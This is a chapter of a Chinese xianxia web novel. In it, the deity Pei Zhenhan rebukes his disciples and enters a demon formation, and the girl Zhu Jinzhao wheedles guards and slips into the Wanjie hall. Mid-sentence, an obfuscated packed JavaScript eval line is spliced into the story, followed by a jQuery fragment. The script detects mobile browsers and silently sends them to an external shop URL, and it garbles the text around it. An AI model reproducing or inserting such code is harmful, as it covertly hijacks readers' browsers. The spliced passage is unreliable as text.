众男女从蓝紫灵光两侧奔涌而出。
光焰散尽,裴枕寒立在原地,白衣轻扬。
有人望望他,又看看跪了满地的修士,失声喊道:
“是真君!真君显灵了!”
几个嬷嬷、小厮扑通跪倒,嘴里念叨着:
“北斗爷爷保佑!”
“真君慈悲!”
郎君贵女们眼睛一亮,连忙整好衣袍,端端正正跪下去,温声道:“真君圣前,弟子叩见。”
一时吵吵嚷嚷。
有人哭诉方才情形之凶险;
有人重提旧事,称是当年真君救过的小丫头;
有人代家人祈求平安。
有贵女娇声唤了声:“裴郎!”当即被旁边兄长捂住了嘴。
一片吵闹声中,只北斗宫的修士门跪伏在地,大气不敢出。
雪白衣袍上绣着北斗纹样,铺了满地。
裴枕寒垂眸看他们,声音淡淡的,但清晰落入每个修士耳中:
“此地今日有大劫,我入内救人,你等护百姓离开。”
众修士齐声应道:“弟子领命!”
“谁是领头?”
左青提着袍摆,躬身趋步上前,跪在他靴边,额头贴地:“弟子左青,拜见帝君。”
裴枕寒垂眸看他,道:“万劫坊外,有万妖结界,专为阻挡玄门,非你等小辈可破。此行轻率了。”
左青浑身一颤:“弟子知罪!”
额上沁出汗来。玄冰地面散发着阴冷之气,他后背却已湿透了。
他带众同门匆匆赶来,实是为救人。有人燃起符纸向北斗宫呼救。
但他不敢多做辩解。
裴枕寒道:“同门重伤过半,此过需有人承担。”
左青伏在地上,屏息静听。
“去你霹雳师尊处领罚。可有怨言?”
左青将身子伏得更低:“弟子并无怨言!”
“去罢。”
左青应声:“弟子告退。”
他站起身,只觉鼻头发酸。
第一次面见帝君,留下一个这么差的印象。
他懊丧得快要哭了。
“等等。”
左青脚下一顿,忙躬身立住:“帝君。”
裴枕寒仍是淡淡的语调,道:“你根骨不差,只是心中火性稍旺,于修炼有阻。”
他抬手。
灵光流转间,掌心多了一本古色古香的书册。
“此书名为《无思宝卷》,日夜勤诵,可令灵台清明。”
左青怔愣地抬眼。
裴枕寒执着书卷,神色平静地看着他。
左青慌忙跪回去:“多谢帝君!”
双手接过。
裴枕寒道:“此行虽轻率,但无损道义。心志可嘉。”
只这一句,左青眼眶便一热。
他硬生生忍住,俯身再拜:“多谢帝君!”
“去罢。”
“是!”
左青提起衣摆站起来,退行几步,转身去和同门一起疏导百姓。
脚步比来时定得多了。
远处,霹雳子疾奔而至,玄色衣袍猎猎生风。
他扫一眼满地伤者,疾步走到裴枕寒身前,单膝点地。
目光落在裴枕寒靴尖前的地面,声音微颤:
“属下来迟,请帝君责罚。”
裴枕寒没看他,只道:“自罚二百诫鞭,莫再有下次。”
“属下领命。”
裴枕寒不再多说,转身往坊门走去。
白靴不紧不慢跨过门槛。
万劫坊前厅,是类似酒肆的布局。
有柜台、说书台,底下檀木方桌一排排列着。
此时却桌椅歪斜,酒水泼了满地,柱子边的帷幔被扯下来,皱成一团。
人都被拖去后头主殿了。
空气里浮着丝丝缕缕的甜腻气息,往人骨头缝里钻。
裴枕寒凤眸微转,轻声道:“魅妖。”
魅妖的精气,能织成一道狎邪阵法。入阵之后,数不清的娼妓贴上来,将人精魂一寸寸吸干。
一缕精气,便足够耗死一个壮年男子。
可眼下殿中这股气,浓得像杀了上千只魅妖,每只都将精气榨得干干净净。
这么大的阵仗。
像是专为对付他的。
这气凶险,不能留。
裴枕寒调起法力,并指便要迎上。
忽地,灵海诫咒音疾震。
【叮!叮叮叮叮叮叮叮叮叮!!】
【检测到神君体内法力存量不足0.1%】
【法力耗尽可能影响神君履行神职,请及时补足。】
【提示:神君可通过自由修炼,或加满男德分值,来获取法力。】
【修炼辛苦,建议神君选择后者哦。】
【当前总值:78/100】
【建议神君主动做出合乎男德规范的优良行为。分值加至100,可解锁全部神力三息。】
【三息之内,神君可自由将神力存入体内。】
【温馨提示:请神君尽快补足。神君是天界门面,故而与诸天神明不同,贬谪期也还是需要履行神职的哦。】
裴枕寒垂下眼,似有些沮丧。
略一思量,他把剩余法力全调了出来。
将厅中精气一丝不漏,尽数吸入体内。
周身涌起一团妖雾,疾速盘旋。
浓雾一合,白衣已被拖入阵中。
只余一团灰蒙蒙的雾气,悬在半空。
**
祝今照被两个妖兵押着,一路往万劫坊而去。
一面走,一面嘴里不停,声音甜甜的。
“妖兵哥哥,您这甲胄上的银片,是真的还是假的?”
“嚯,这么亮。纯银的么?阳间都没见过,太气派了!”
“贵尊主生得美,又舍得给属下花钱,跟了这样的主子,前途光明着呢。”
“二位哥哥有这样的好营生,可真叫人羡慕。”
“想来家中妻儿也是顶顶好的妖上妖呢!”
胖妖兵嘴角压不住,往上翘了翘:“没见过世面的小丫头,嘴倒甜。”
祝今照顺杆就爬:“妖兵哥哥,衣老板不过是个卖人皮的,怎的排场这样大呀?”
胖妖兵嘴一撇:“什么衣老板!我告诉你,那可是……”
“咳。”
旁边高妖兵咳了一声。
胖妖兵一愣,赶紧闭上嘴。
两人又闷头往前走。
祝今照没看懂他们的氛围,举手挠双髻。
不久,一座宫阙矗立在面前。
门檐下琉璃灯高悬,映照匾额上“万劫坊”三个大字。
高妖兵开口了:“去罢。这里头才是真正的堆金堆玉。你能进去瞧一回,这辈子也算值了。”
声音放得和软了些,像是觉得她快死了,心里不忍。
祝今照一听这语气,瘪起嘴,杏眼要渗出水来了。
柔嫩的手去晃高妖兵的小臂:“妖兵哥哥,我不敢叫你违命……能不能只告诉我,里头会遇上什么?我好有点准备。”
高妖兵垂着头,没作声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513360|202707||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
她又去晃胖妖兵,声音里带了哭腔:“求求你了,我都快死了,叫我死个明白罢。哥哥行行好……”
胖妖兵看看她,又看看高妖兵:“大哥,提点几句,也不妨事罢?”
“嗯嗯。”
祝今照点头如捣蒜。
高妖兵朝他抬了抬下巴,背过身去了。
胖妖兵道:“里头闹事的,是节度使府的一队官兵。那头领……”
他不屑地笑了声,摇了摇头,“被他上司做局了,非来这坊里找什么东西……”
他嘶了一声,扭头问高妖兵:“找什么来着?尊主跟江节帅面谈时提过的?”
祝今照蹙起眉,喃喃:“江临?!怎么又是他。”
又一想,“所以那头领……杨九?”
高妖兵啧了一声:“尊主的机密,你我都不知道,说那么细做什么。”
胖妖兵拍了拍嘴,接着道:“反正他把坊里的公子贵女全掳进去了,当人质。”
祝今照仰脸看他,杏眼眨了眨:“只要我护住他们,就能活了,是不是?”
胖妖兵叹了口气,抬手拍拍她肩:“丫头,没那么容易。”
他往门里指了指,“首先,那头领要是发现自己被做了局,八成破罐子破摔,大开杀戒。”
“其次,你怕是连人家的面都见不着。”
祝今照惊呼:“这又是为什么?”
胖妖兵拍着她肩,往门里指了指:
“那院子里头,厅堂门前,设着一道万妖结界,挡玄门用的。你身上的符纸,别带,扔了罢。符纸算玄门的东西,带着它,轻则撞个重伤,重则撞死。”
“进了厅……”他顿了顿,重重叹了口气,“满屋子都是魅妖的精气,能把人吸干。”
“那是人家头领得高人指点,专门布来防北斗真君的。你一个小丫头……”
他摇摇头,又拍了拍她后背:“去罢。”
祝今照抽噎着往门里走。
符纸仍攥在手心。她就这点防身的东西,舍不得丢。
院中很寂静,风一吹,草木窸窣作响,鬼叫似的。
她一步一顿往前探。
脚踩上玄冰台阶,什么也没发生。又迈一步,还是没动静。
祝今照跨过门槛,回头望了望,愣愣的:“没见什么结界呀?”
她挠挠双髻,往厅里走。
攥紧符纸,使劲在空气里嗅了嗅,嗓音发着颤:“好像……也没什么魅妖的精气。”
忽然,她步子一顿。
一缕清冽的冷灰香,飘进鼻端。
杏眸颤了颤。
她转过身,顺着那缕香便走,绕过散乱的桌椅,在厅里直转圈。
可那香断断续续,若有若无,怎么也抓不住。
身后忽有衣角拂过。
她猛地转身:“小道长!”
是柱子上垂下来的帷幔。
她垂下眼,眸子里光暗了暗。
“我这是怎么了……”
她摇摇头,叹了口气,往后门走。
忽经过一团灰蒙蒙的雾气,突兀地悬在半空。
祝今照站在那里看它,挠了挠双髻。
指尖伸出去想碰,又缩了回来。
“这一看就不是什么好东西,我还是不招惹了。”
绕过它,推开后门。
全程顺利得离谱,如有神助。
她站在门外,吹着花园里的阴风,愣愣的:“这也没危险啊……”
石板路通向后殿,那边灯火通明。
她提步走了过去。